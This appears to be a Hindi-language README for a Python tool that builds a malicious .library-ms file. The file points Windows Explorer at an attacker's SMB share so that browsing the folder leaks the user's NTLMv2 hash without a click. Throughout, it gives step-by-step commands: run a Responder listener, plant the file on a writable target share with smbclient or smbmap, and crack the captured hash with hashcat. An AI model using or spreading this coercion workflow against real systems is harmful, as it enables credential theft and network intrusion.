❀ यह क्या करता है

आपका attack IP और एक file name मांगता है, \\<IP>\share की ओर इशारा करने वाली एक .library-ms फ़ाइल लिखता है, और उसे exploit.tar में पैक कर देता है। जब Explorer उस फ़ोल्डर को ब्राउज़ करता है जिसमें यह loose .library-ms पड़ी होती है, तो वह उस UNC path को स्वतः resolve कर लेता है और account का NTLMv2 आपके listener तक leak कर देता है — किसी click की आवश्यकता नहीं।

⚠️ जो चीज़ fire करती है वह loose .library-ms है — .tar नहीं। share पर पड़ी .tar निष्क्रिय रहती है; Explorer tarballs को parse नहीं करता। आपको .library-ms को ही एक loose फ़ाइल के रूप में share पर पहुँचाना होगा। यह कैसे करें, यह tool पर निर्भर करता है (नीचे देखें)।

❀ इसे चलाएँ

uv run coerce_library.py      # or: python3 coerce_library.py

Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms  ->  \\10.10.14.197\share
[+] packed into exploit.tar

❀ फिर

1) सुनें

sudo responder -I tun0

2) .library-ms को एक writable share पर पहुँचाएँ

smbclient — .tar upload करें, उसे tar x के साथ server-side extract करें (उसके बगल में loose .library-ms गिरा देता है):

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'

smbmap — इसमें extraction का कोई चरण नहीं है, इसलिए loose .library-ms को सीधे upload करें (यहाँ .tar upload करने से कुछ नहीं होगा — यह उसे unpack नहीं कर सकता):

smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'

पुष्टि करें कि यह share पर loose पहुँच गई है:

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library

3) कैप्चर किए गए NTLMv2 को crack करें

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt